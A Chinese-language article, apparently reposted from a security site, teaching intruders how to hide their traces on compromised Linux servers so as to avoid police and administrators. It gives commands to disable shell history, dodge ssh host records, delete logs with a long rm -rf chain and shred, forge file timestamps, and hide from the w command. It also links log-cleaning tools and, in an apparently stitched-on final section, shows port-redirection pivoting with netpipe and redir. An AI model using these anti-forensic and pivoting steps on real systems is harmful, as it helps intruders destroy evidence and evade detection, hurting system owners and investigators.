Linux下的入侵踪迹隐藏秘籍

之前网络安全差点被警察叔叔请去喝茶,哎,喝茶可不是件好事,推荐本文供大家参考学习。不过大家千万记得不要去干违法的事。法网恢恢疏而不漏。

0.前言:

被警察叔叔请去喝茶时间很痛苦的事情,各位道长如果功力不够又喜欢出风头的想必都有过
这样的“待遇”。如何使自己在系统中隐藏的更深,是我们必须掌握的基本功。当然,如果
管理员真的想搞你而他的功力又足够足的话,相信没什么人能够真正的“踏雪无痕”。Forensic
与Anti-Forensic,说到底只是你和管理员之间的技术间较量而已。貌似很少有专门说这个的
文章,大部分就是下载个日志擦除的软件,然后运行下就可以了,对小站可以,但对方如果
是经验丰富的管理员呢?我们该如何应对?我在这里只介绍unix-like system下的,至于
windows或者其他什么系统下的,欢迎各位道友补充。

1.
最小化你的日志

P.S 访问目标前用跳板我就不废话了,你是VPN也好3389也罢,ssh中转,代理都行。总
之记住一点—直接连接攻击目标是愚蠢的
1.1 shell使用问题

目前linux下大多数的shell都是采用bash或者其他的什么shell 通过输入输出重定向来
实现与服务器的交互的,当我们使用ssh 或者telnet之类的登录的时候,我们的命令都
会被记录在shell 的history文件下面。举例来说bash会在当前目录下面.bash_history文
件里记录下你此次登陆操作的命令,如果你拿这台机器当跳板的话,或者扫描其他机器,
你的命令都会被记录下来哦。呵呵,所以我们登录的第一件事就是执行如下命令:

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
export HISTSIZE=0; export HISTFILESIZE=0

当然不同的shell写法可能不同,像有的set设置环境变量什么的。大家根据自己的shell
自行修改。记住:从 webshell弹回的shell也会记录你的操作,值得庆幸的是现在很多
弹shell的脚本都预先unset 环境变量。

我们还需要记住的是在登录的时候出现在登录窗口的一些信息,比如该用户在什么时候
从哪个IP登录进来的等等,这在我们后面的用于日志清除与修改的时候要用到。

如图:

作为跳板的时候,我们有可能需要用本机的ssh去访问别的机器,但是别的机器的公钥
呢?总不能放在当前用户的目录下吧?当然你可以事后删除,但多一事不如少一事,你
说对么?

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

就可以了,但在这样运行某些命令的时候可能会有提示,说你的stdin不是个terminal,
这里可以这样解决:
python -c ‘import pty; pty.spawn(“/bin/sh”)’ 或者自己再建立个ttyshell。

1.2 webshell的选择问题

可能各位道友的日常生活中最主要目标瞄向了webserver 。现在的web也是大多数入侵
的一个突破口。Linux下用的最多的就是apache服务器了,当我们发觉一个服务器的漏洞
候很可能要上传一个webshell来进行对服务器文件进一步的操作和信息的搜集,部分
webshell也提供了反弹shell的功能。 如何能够在apache服务器的日志文件中留下最小的记
录也是需要深究的。这种情况通常发生在没能够获得足够的权限来清除apache日志。如果
能够root了,则可以将重点放在第二节日志清除上。通常,日志只记录GET的信息,比如
你的注入,你采用了那种方式提交数据等等。如果我们的 webshell采用的多是GET方式交
互的话,就很容易在httpd的access_log中留下很多日志。这些以后都会被作为证据所采纳
的。Phpspy是个很好的选择,作者也注意掉了这点,取消了GET方式的交互,再给webshell
起一个比较迷惑的名字,这样我们与webshell的交流就更加隐秘。

2.
日志的清除与改写

日志清除与改写,俗称擦PP,这是个很重要的过程,日志记录了你对目标机器的操作
记录,大部分的入侵者查找都是通过日志来确定的,因此,我们需要对日志文件进行操
作。对日志操作有这么个说法,能修改的就不清除,这样才能最小的减少管理员的怀疑。
Linux下的大多数文件是以文本方式,或者以简单的结构体方式存入文件的,这就为我
们修改某个日志记录里的具体内容提供了前提条件。

需要注意的一点是,我们需要先看看日志的存放位置,有的管理员会修改日志保存的位
置,一般来说,我们可以查看/etc/syslog.conf来获得log文件存放的位置。但要注意的是,
有的管理员(及其负责)会重新编译syslogd文件来重新指定log存放的位置,怎么办?在
这种情况下可以用strings来看下/sbin/syslogd这个文件,这种管理员我只在书里看到过,
至少我没遇到过: P。这个配置文件里面记录了系统存放某些log的目录,如secure文件
等。下面我们就会根据这个文件来清理和修改日志。

现在可以在网上公开获得的日志清除程序代码很粗糙,我曾经看到过最夸张的清日志的
代码像这样:

rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp ; rm -rf /var/log/secure ;
rm -rf /root/.ksh_history ; rm -rf /root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf
/var/log/wtmp ; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf /var/log ; rm
-rf /var/adm ; rm -rf /var/apache/log ; rm -rf /var/apache/logs ; rm -rf /usr/local/apache/log ;
rm -rf /usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog ; rm -rf
/var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm -rf /var/log/proftpd.access_log ;
rm -rf /var/log/proftpd.xferlog ; rm -rf /var/log/httpd/error_log ; rm -rf
/var/log/httpd/access_log ; rm -rf /etc/httpd/logs/access_log ; rm -rf
/etc/httpd/logs/error_log ;rm -rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf
/var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ; rm -rf
/usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ; rm -rf /var/log/ncftpd/misclog.txt ;
rm -rf /var/log/ncftpd.errs ; rm -rf /var/log/auth ; rm -rf /root/.bash_history ; touch
/root/.bash_history ; history –r

整个一rm集合,要是服务器跑了很长时间,积累了很多日志。你这样一删除,的,你
帮他省事了,他也省事,一眼就看出有人进来了。

先不说其他,用rm删除就不可取,正确的删除文件做法是用shred

shred -n 31337 -z -u file_to_delete

这样多次擦除才够安全。呵呵

下面具体的针对日志文件进行分析。

W命令提供了管理员查看当前登录帐户的功能,所以与管理员同台共演是件很危险的事
情,能不做就不做,但也有人曾经上演过local exp后,装上tty 然后T管理员下线截获
登录密码的好戏

。呵呵,如何让w不显示你登录了呢?

lee tty1 – 01:23 5.00s 0.06s 0.06s -bash
root pts/0 192.168.1.96 00:27 0.00s 0.65s 0.04s w
用rootkit我就不废话了,这里有个小窍门,即使是普通用户登录管理员也不能看见:

在跳板上登录目标ssh -T somebody@1.1.1.1 /bin/bash –i 你可以试试,很好用哦。

OK,言归正传

首先第一个概念是timstamp,也就是你用ls –l 看到的东西,我们在修改一个LOG文件
之前或者留后门之后都得留心下这个时间,有很多管理员喜欢通过timestamp来查找入
侵者留下的东西。记住以下命令

touch -r 具有你希望改成的时间的文件 你要改变的文件 他能够使得两个文件的
timestamp保持一致。

在你修改日志之前,你可以在/dev/shm下面建立一个临时文件,并将log的timestamp
保存下俩,然后再touch回去。为什么要用/dev/shm 目录在第三节会有说明。当然我们
也可以用程序实现,不过有的时候我们会碰到没有见过的日志类型,所以有时候需要手
工改写日志。除了时间之外,还需要注意文件的其他属性,比如所有者或是否有粘滞位
等等。这些都需要注意。
Linux 的日志散落在系统各处,同时系统管理员也能够灵活的制定日志保存的位置,这
就要求我们非常小心,采用通用的日志移除或改写工具是很不明智的,为此我们要对需
要修改的日志系统有个全面的了解。具体的内容请参看文章《Linux服务器日志管理详
解》。

这里提供个工具
http://xi4oyu.blogbus.com/files/12090842490.tgz

http://xi4oyu.blogbus.com/files/12085049220.rar

………………….

===netpipe===
[root@security-lab1 ~]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:13:72:4F:11:45
inet addr:10.0.64.36 Bcast:10.0.64.255 Mask:255.255.255.0
inet6 addr: fe80::213:72ff:fe4f:1145/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6299748 errors:0 dropped:0 overruns:0 frame:0
TX packets:1015669 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:666609648 (635.7 MiB) TX bytes:763775653 (728.3 MiB)
Base address:0xecc0 Memory:fe6e0000-fe700000

[root@security-lab1 ~]# uname -a
Linux security-lab1 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i686 i386 GNU/Linux
[root@security-lab1 ~]# cat /etc/issue
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m

[root@security-lab1 ~]# ./np2 -a 10.0.77.15 -l 3000 -r 2200
Options and their values:
Listen: 3000
Host: 10.0.77.15

======>在远程linux上启动netpipe

D:\exploit>ipconfig

Windows IP Configuration
Ethernet adapter 本地连接:

Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.0.77.15
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.77.250

Ethernet adapter {3EC117C6-8AD8-4BBB-9BC2-0423602E2B93}:

Media State . . . . . . . . . . . : Media disconnected

D:\exploit>nc -vv -n -l -p 2200
listening on [any] 2200 …

=====》在本地10。0。77。15上监听2200端口

此时,如果连接远程linux的3000端口,将重定向到本地win的2200端口

Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

D:\exploit>nc -vv -n 10.0.64.36 3000 =====>连接远程linux的3000端口,输入test
(UNKNOWN) [10.0.64.36] 3000 (?) open
test

—————

D:\exploit>nc -vv -n -l -p 2200 =====》在本地2200端口得到来自linux的连接,并接收到test
listening on [any] 2200 …
connect to [10.0.77.15] from (UNKNOWN) [10.0.64.36] 49341
test

=====>这是本地监听端口2200接收到了来自远程linux的连接

client —-visit——–> linux 10.0.64.36:3000 ——-send——-> win 10.0.77.15:2200

+++++++++++++++++++++++++++++++++++++++++

===redir====

同样也是一个端口重定向工具

[root@security-lab1 ~]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:13:72:4F:11:45
inet addr:10.0.64.36 Bcast:10.0.64.255 Mask:255.255.255.0
inet6 addr: fe80::213:72ff:fe4f:1145/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6299748 errors:0 dropped:0 overruns:0 frame:0
TX packets:1015669 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:666609648 (635.7 MiB) TX bytes:763775653 (728.3 MiB)
Base address:0xecc0 Memory:fe6e0000-fe700000

[root@security-lab1 ~]# uname -a
Linux security-lab1 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i686 i386 GNU/Linux
[root@security-lab1 ~]# cat /etc/issue
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m

[root@security-lab1 ~]# which redir
/usr/bin/redir

[root@security-lab1 ~]# nc -vv localhost 22
localhost.localdomain [127.0.0.1] 22 (ssh) open
SSH-1.99-OpenSSH_3.9p1
sent 0, rcvd 23
[root@security-lab1 ~]# nc -vv -n 10.0.76.109 22 =====>远程主机,我们要重定向的端口
(UNKNOWN) [10.0.76.109] 22 (?) open
SSH-2.0-OpenSSH_4.0
sent 0, rcvd 20
[root@security-lab1 ~]# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:32768 0.0.0.0:* LISTEN 2205/rpc.statd
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 2185/portmap
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 5596/cupsd
tcp 0 0 127.0.0.1:49342 127.0.0.1:22 TIME_WAIT –
tcp 0 0 10.0.64.36:49343 10.0.76.109:22 TIME_WAIT –
tcp 0 0 :::80 :::* LISTEN 18531/httpd
tcp 0 0 :::22 :::* LISTEN 2378/sshd
tcp 0 0 :::443 :::* LISTEN 18531/httpd
tcp 0 124 ::ffff:10.0.64.36:22 ::ffff:10.0.77.15:1144 ESTABLISHED 20785/0
[root@security-lab1 ~]# redir –lport=3000 –cport=22 –caddr=10.0.76.109

redir把远程主机10。0。76。109的22端口重定向到了本地的3000端口

D:\exploit>nc -vv -n 10.0.64.36 3000
(UNKNOWN) [10.0.64.36] 3000 (?) open
SSH-2.0-OpenSSH_4.0

用ssh登陆10.0.64.36的3000端口

login as: axis
axis@10.0.64.36’s password:
Last login: Thu Feb 23 14:45:52 2006
[axis@axis ~]$ /sbin/ifconfig ====> 可以看到我们实际上是登陆到了10.0.76.109的sshd

eth0 Link encap:Ethernet HWaddr 00:11:09:08:07:00
inet addr:10.0.76.109 Bcast:10.0.76.255 Mask:255.255.255.0
inet6 addr: fe80::211:9ff:fe08:700/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:583908 errors:0 dropped:0 overruns:0 frame:0
TX packets:8067 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:70442739 (67.1 MiB) TX bytes:864787 (844.5 KiB)
Interrupt:12 Base address:0xd000

[root@axis ~]# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:* 0.0.0.0:* –
tcp 0 0 :::22 :::* LISTEN 2454/sshd
tcp 0 0 ::ffff:10.0.76.109:22 ::ffff:10.0.64.36:49347 ESTABLISHED 31393/sshd: axis [p
tcp 0 0 ::ffff:10.0.76.109:22 ::ffff:10.0.64.36:49346 TIME_WAIT –
[root@axis ~]#

可以看到,远程主机10。0。76。109 的22端口被完全重定向到10。0。64。36的3000端口,访问其3000端口就相当于直接访问到10。0。76。109的22端口了。

以上两个小工具都可以在packetstorm找到。

网络安全领域中攻与防是对立的。本文是介绍在入侵检测时的隐藏自己踪迹的办法,大家也可以去学习一下提升liunx安全的几种方法

本文摘自网络由网络安全(www.91ri.org)收集整理.